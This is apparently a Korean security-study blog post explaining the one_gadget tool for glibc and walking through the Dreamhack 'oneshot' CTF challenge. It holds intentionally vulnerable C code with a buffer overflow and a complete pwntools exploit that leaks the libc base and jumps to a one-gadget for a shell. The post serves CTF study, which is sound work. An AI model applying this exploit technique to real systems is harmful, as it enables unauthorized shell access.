One gadget

shrew·2025년 3월 22일

One gadget

Concept

one gadget 또는 One-shot gadget은 셸 획득을 쉽게 하기 위해 사용되는 도구이다.

How to use

one gadget은 glibc 기반 리눅스 환경에서만 사용 가능하다. 해당 도구를 사용하면 glibc 파일에서 execve("/bin/sh", NULL, NULL) 혹은 그와 비슷한 동작을 수행하는 코드 패턴을 자동으로 찾아주는 도구이다.

$ one_gadget /lib/x86_64-linux-gnu/libc.so.6
0x583ec posix_spawn(rsp+0xc, "/bin/sh", 0, rbx, rsp+0x50, environ)
constraints:
  address rsp+0x68 is writable
  rsp & 0xf == 0
  rax == NULL || {"sh", rax, rip+0x17301e, r12, ...} is a valid argv
  rbx == NULL || (u16)[rbx] == NULL

0x583f3 posix_spawn(rsp+0xc, "/bin/sh", 0, rbx, rsp+0x50, environ)
constraints:
  address rsp+0x68 is writable
  rsp & 0xf == 0
  rcx == NULL || {rcx, rax, rip+0x17301e, r12, ...} is a valid argv
  rbx == NULL || (u16)[rbx] == NULL

0xef4ce execve("/bin/sh", rbp-0x50, r12)
constraints:
  address rbp-0x48 is writable
  rbx == NULL || {"/bin/sh", rbx, NULL} is a valid argv
  [r12] == NULL || r12 == NULL || r12 is a valid envp

0xef52b execve("/bin/sh", rbp-0x50, [rbp-0x78])
constraints:
  address rbp-0x50 is writable
  rax == NULL || {"/bin/sh", rax, NULL} is a valid argv
  [[rbp-0x78]] == NULL || [rbp-0x78] == NULL || [rbp-0x78] is a valid envp

위는 리눅스에서 주로 사용되는 libc.so.6 파일에 one gadget 도구를 사용한 결과이다. 저런 식으로 결과가 여러 개 뜰 수 있는데 그 중 맨 위에 있는 결과를 예시로 살펴보자.
'0x583ec posix_spawn(rsp+0xc, "/bin/sh", 0, rbx, rsp+0x50, environ)' 여기서 posix_spawn 함수는 execve 함수랑 비슷하게 프로세스를 실행시키는 함수고, 0x583ecposix_spawn(rsp+0xc, "/bin/sh", 0, rbx, rsp+0x50, environ)의 오프셋 주소이다. 'constraints:' 밑에 있는 부분들은 해당 함수를 호출하기 위한 조건이라고 보면 된다. posix_spawn(rsp+0xc, "/bin/sh", 0, rbx, rsp+0x50, environ) 함수를 호출하기 위해서는 총 4가지의 조건을 모두 만족시켜야 한다.

실습

Example code

[*] '/home/pdh/oneshot/oneshot'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        PIE enabled
    Stripped:   No
// gcc -o oneshot1 oneshot1.c -fno-stack-protector -fPIC -pie

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(60);
}

int main(int argc, char *argv[]) {
    char msg[16];
    size_t check = 0;

    initialize();

    printf("stdout: %p\n", stdout);

    printf("MSG: ");
    read(0, msg, 46);

    if(check > 0) {
        exit(0);
    }

    printf("MSG: %s\n", msg);
    memset(msg, 0, sizeof(msg));
    return 0;
}

위 코드는 위는 Dreamhack - oneshot 문제에서 제공하는 'oneshot.c' 코드이다. 위 코드를 먼저 분석해보자.

  1. 'msg' 변수의 크기가 16으로 정의되어 있는데 read(0, msg, 46)으로 입력 받을 때는 46까지 입력받는다. 즉, 버퍼 오버플로우 취약점이 있다.
  2. stdout 값을 출력한다. stdout은 glibc 내부에 있는 전역 변수이기 때문에 이를 활용하면 libc 베이스 주소를 알아낼 수 있다.
   0x0000000000000a91 <+80>:	lea    rax,[rbp-0x20]
   0x0000000000000a95 <+84>:	mov    edx,0x2e
   0x0000000000000a9a <+89>:	mov    rsi,rax
   0x0000000000000a9d <+92>:	mov    edi,0x0
   0x0000000000000aa2 <+97>:	call   0x830 <read@plt>
   0x0000000000000aa7 <+102>:	cmp    QWORD PTR [rbp-0x8],0x0
   0x0000000000000aac <+107>:	je     0xab8 <main+119>
   0x0000000000000aae <+109>:	mov    edi,0x0
   0x0000000000000ab3 <+114>:	call   0x870 <exit@plt>

위는 'msg' 변수에 값을 입력하는 부분과 'check' 변수 값을 확인하고, 조건문을 실행하는 부분을 gdb로 확인한 디스어셈블링 코드이다.

'msg' 변수는 16bytes로 정의되어 있다는 걸 상기하면서 생각해보면 위와 같은 구조를 이루고 있다는 것을 알 수 있다. 'oneshot.c' 코드에서 'check' 변수가 0이 아니면 exit 함수를 실행하도록 되어 있기 때문에 'check' 부분은 0으로 맞춰 주어야 한다.('check' 변수가 size_t로 정의 되었기 때문에 음수는 들어갈 수 없다.)

Exploit code

from pwn import *

p = remote('서버명', 포트 번호)
e = ELF('./oneshot')
libc = ELF('./libc.so.6')

#libc 주소 릭
p.recvuntil(b'stdout: ')
addr = int(p.recvline()[:-1], 16)
libc_base = addr - libc.symbols["_IO_2_1_stdout_"]
one_gadget = libc_base + 0x45216

buf = b'A' * 24
check = b'\x00' * 8

payload = buf + check + (b'B' * 8) + p64(one_gadget)
p.sendafter(b'MSG: ', payload)

p.interactive()
profile
보안 공부 로그

0개의 댓글